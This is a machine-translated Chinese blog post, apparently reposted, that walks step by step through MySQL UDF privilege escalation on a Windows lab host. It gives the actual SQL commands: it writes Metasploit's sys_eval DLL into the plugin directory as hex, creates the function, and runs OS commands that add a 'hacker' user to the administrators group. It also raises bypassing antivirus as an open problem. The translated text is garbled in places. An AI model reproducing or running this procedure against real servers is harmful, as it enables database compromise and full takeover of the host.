当前位置:网站首页>MySQL (UDF authorization)
MySQL (UDF authorization)
2022-07-05 06:32:00 【Viva alive】
Mysql udf Raise the right
UDF
UDF yes MySQL User defined functions in . It was like DLL Write your own functions in , And then in MySQL Call them in .
Premise
- There is sql Inject holes
- Mysql File write read permission security_file_priv Value is empty
- Database users have file read and write permissions
- Database users allow other hosts to connect
step
- utilize sql Inject to get the database user name , password , Decrypt the password to get plain text

- Use osanda Users connect to the database

- see osanda User's rights
select * from mysql.user where user = substring_index(user(), '@', 1) \G;

Found to have all permissions
Write a UDF DLL library
Check the system architecture and type , Convenient for us to choose later udf file ( Yes 4 individual )
show variables like '%compile%';

** from MySQL 5.0.67 Start ,UDF The library must be included in plugin In the folder , have access to ‘@@plugin_dir’ The global variable finds the folder . Can be in mysql.ini View and edit this variable in the file .** But the default is not plugin This directory
select @@plugin_dir ;

If Mysql The version is 5.1.60 The following can be used
select 'xxx' into outfile 'F:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION';
select 'xxx' into outfile 'F:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin::$INDEX_ALLOCATION';
Create folder , But I tested 5.7.26 edition , These two lines sql sentence Cannot create folder 了 , May be Mysql Added a little security policy .
from MySQL 5.0.67 Start , The file must be located in the plug-in directory . The directory consists of plugin_dir The value of the system variable is given . If plugin_dir The value of is empty , Then applicable 5.0.67 Previously used behavior : The file must be located in the directory searched by the dynamic linker of the system .
In the old version , You can use DLL Upload the file to the following location and create a new UDF function .
- @@datadir
- @@basedir\bin
- C:\windows
- C:\windows\system
- C:\windows\system32
metasploit Built in with written udf file , It can be used by us
see udf.dll The location of

You can also go to github Get on the
https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
Raise the right 32 The bit system is 32, Raise the right 64 The bit system is 64,windows System selection dll,linux System selection so
take udf.dll The file is converted into hexadecimal and saved on the local computer , I save it here to F:/phpstudy_pro/WWW/ Under the table of contents
select hex(load_file('F:/phpstudy_pro/WWW/lib_mysqludf_sys_64.dll')) into dumpfile 'F:/phpstudy_pro/WWW/udf.txt';
Then the just generated udf.txt Hexadecimal number exported to the destination host plugin Directory
select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dumpfile "F:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/udf.dll";
There may be a mistake , Because the destination host does not plugin Catalog

At this time, create a lib/plugin Catalog

Export again and you will succeed

The destination host has udf.dll Documents are not enough , We still have to be in Mysql Create the functions you need to use
Although the author is udf.dll There are many functions defined in , But we only need one function , That is to say sys_eval()

sys_eval The role of
This function will execute system commands , And display on the screen passed to the standard output .( Follow sqlmap Of –os-shell It's about the same , however sqlmap System commands that cannot be executed , This sys_eval But it can be implemented successfully , See the effect later )
sys_eval The creation of
create function sys_eval returns string soname 'udf.dll';

sys_eval The test of
select * from mysql.func where name = 'sys_eval';

There are content , Proof of successful creation
sys_eval The deletion of
drop function sys_eval;
If you don't want to use this custom function, you can use this command to delete
Once created , You can use it
select sys_eval('dir');

Next, enter a point sqlmap Impossible orders , Don't say sqlmap 了 , Even if you execute such a command locally, you need to open the administrator identity to execute , It is Add users , And add users to the administrators group in
Use another one first cmd Look at the current users

And then I use sys_eval Function to create a user hacker
select sys_eval('net user hacker /add');

At this time, Firefox jumped out , A keen sense of smell smells something wrong , I hurriedly pressed the permission to calm his mood
The result shows a piece of garbled code , But it doesn't prevent us from adding users

Continue to view current users

More than a hacker user
The following will hacker User promoted to administrator

Use another one cmd View the users of the administrators group , Find out hacker Become an administrator ?

Is this what we often say udf Raise the right
Summary of difficulties
- lib/plugin How to use other methods to create ( It is impossible to manually create a )
- How to bypass anti-virus software such as Firefox
边栏推荐
- MySQL advanced part 2: storage engine
- 将webApp或者H5页面打包成App
- How to make water ripple effect? This wave of water ripple effect pulls full of retro feeling
- 中国剩余定理 AcWing 204. 表达整数的奇怪方式
- 3.Oracle-控制文件的管理
- International Open Source firmware Foundation (osff) organization
- Bit of MySQL_ OR、BIT_ Count function
- Sorting out the latest Android interview points in 2022 to help you easily win the offer - attached is the summary of Android intermediate and advanced interview questions in 2022
- How to generate an image from text on fly at runtime
- Record the process of configuring nccl and horovod in these two days (original)
猜你喜欢

ADG5412FBRUZ-RL7应用 双电源模拟开关和多路复用器IC

5. Oracle TABLESPACE

Bash exercise 17 writing scripts to install the server side of FRP reverse proxy software

4. Oracle redo log file management

What is socket? Basic introduction to socket

数据库Mysql全部

20220213-CTF MISC-a_ good_ Idea (use of stegsolve tool) -2017_ Dating_ in_ Singapore

高斯消元 AcWing 884. 高斯消元解异或線性方程組

Simple selection sort of selection sort

International Open Source firmware Foundation (osff) organization
随机推荐
阿里巴巴成立企业数智服务公司“瓴羊”,聚焦企业数字化增长
Find the combination number acwing 887 Find combination number III
栈 AcWing 3302. 表达式求值
博弈论 AcWing 892. 台阶-Nim游戏
Filter the numbers and pick out even numbers from several numbers
MySQL advanced part 2: the use of indexes
What is socket? Basic introduction to socket
20220213-CTF MISC-a_ good_ Idea (use of stegsolve tool) -2017_ Dating_ in_ Singapore
4. Object mapping Mapster
微信小程序路由再次跳转不触发onload
安装OpenCV--conda建立虚拟环境并在jupyter中添加此环境的kernel
2048项目实现
2022-5-第四周日报
SQL三种连接:内连接、外连接、交叉连接
微信小程序路由再次跳轉不觸發onload
‘mongoexport‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件。
Alibaba's new member "Lingyang" officially appeared, led by Peng Xinyu, Alibaba's vice president, and assembled a number of core department technical teams
论文阅读报告
5. Oracle TABLESPACE
[2021]IBRNet: Learning Multi-View Image-Based Rendering Qianqian